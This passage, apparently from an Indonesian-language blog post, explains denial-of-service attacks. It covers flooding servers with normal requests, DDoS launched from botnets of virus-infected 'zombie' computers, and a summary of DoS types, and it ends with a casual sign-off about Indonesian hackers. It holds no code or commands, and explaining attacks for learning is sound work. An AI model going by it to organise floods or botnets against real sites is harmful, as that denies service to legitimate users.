Dua contoh vulnerability di atas cukup menjelaskan bagaimana serangan DoS jenis ini dilakukan. Pada intinya adalah dengan mengirim banyak malicious request/paket yang membuat server mengonsumsi resource lebih banyak dan lebih lama untuk setiap requestnya.

Make Server Busy Without Exploiting Vulnerability

Ini adalah jenis serangan yang mengandalkan pada kemampuan mengirimkan normal request sebanyak-banyaknya sehingga server menjadi sibuk. Perbedaan DoS jenis ini dengan DoS yang mengexploit vulnerability adalah pada requestnya. Request yang dikirimkan pada DoS jenis ini adalah request yang normal seperti yang dilakukan pengguna biasa, sehingga server tidak mengonsumsi resource berlebihan. Sedangkan DoS yang mengandalkan vulnerability mengirimkan specially crafted malicious request untuk membuat server mengonsumsi resource lebih banyak untuk melayani malicious request tersebut.

Normal request hanya membuat server mengonsumsi resource dalam jumlah biasa-biasa saja, tidak akan mengganggu kerja server secara keseluruhan. Diperlukan normal request dalam jumlah yang sangat banyak untuk membuat server terganggu kerjanya. Jadi agar serangan ini menjadi efektif, maka serangan harus dilakukan beramai-ramai dari banyak tempat, semakin banyak penyerang semakin bagus hasilnya. Serangan ini juga disebut dengan distributed DoS (DDoS) karena dilakukan dari banyak lokasi yang terdistribusi (tersebar).

Serangan DDoS dilakukan dengan menggunakan komputer zombie atau robot. Zombie adalah komputer yang sudah dikuasai attacker sehingga bisa dikendalikan dari jarak jauh. Sekumpulan komputer zombie membentuk jaringan yang disebut bot-net. Attacker mendapatkan banyak zombie dengan menyebarkan virus atau worm, setiap komputer yang terinfeksi akan diinstall program yang membuat komputer bersedia menjalankan perintah dari attacker.

  Attacker memberi perintah kepada semua pasukannya untuk membuat request HTTP ke sebuah website. Bila pasukan yang dikuasai attacker sangat besar, maka web server akan dibanjiri request sehingga menjadi terlalu sibuk dan tidak bisa diakses oleh pengguna yang sebenarnya (real visitor).

Serangan jenis ini tidak ada obatnya karena attacker tidak meng-exploit bug atau vulnerability apapun. Bila pada jenis DoS yang lain, serangan dapat dicegah dengan melakukan patching atau update software, maka serangan ini tidak bisa dihentikan dengan update atau patch.

Kesimpulan

Denial of service adalah serangan yang membuat server tidak bisa melayani pengguna yang sesungguhnya. Berikut adalah jenis-jenis serangan DoS berdasarkan cara melakukan serangan:

* Mematikan Server: one shot, one kill untuk membuat server menjadi crash, hang, reboot.
* Menyibukkan Server: mengirim banyak sekali request untuk membuat server sibuk.
o Exploiting bug: mengirim banyak specially crafted request. Jumlah request tidak sebanyak jenis DoS yang menyibukkan server dengan normal request.
o Normal request: mengirim banyak request normal seperti pengguna biasa. Diperlukan jumlah request yang lebih banyak dibandingkan jenis DoS yang menyibukkan server dengan exploit bug. Biasanya menggunakan botnet secara terdistribusi.





pusing juga yaa bacanya...
hheee...
tapi buat bahan belajar ajja...
x ja hacker indonesia bisa punya nama...
bahkan indonesia terkenal akan teknologi komputernya...
hhee
by : dwipangga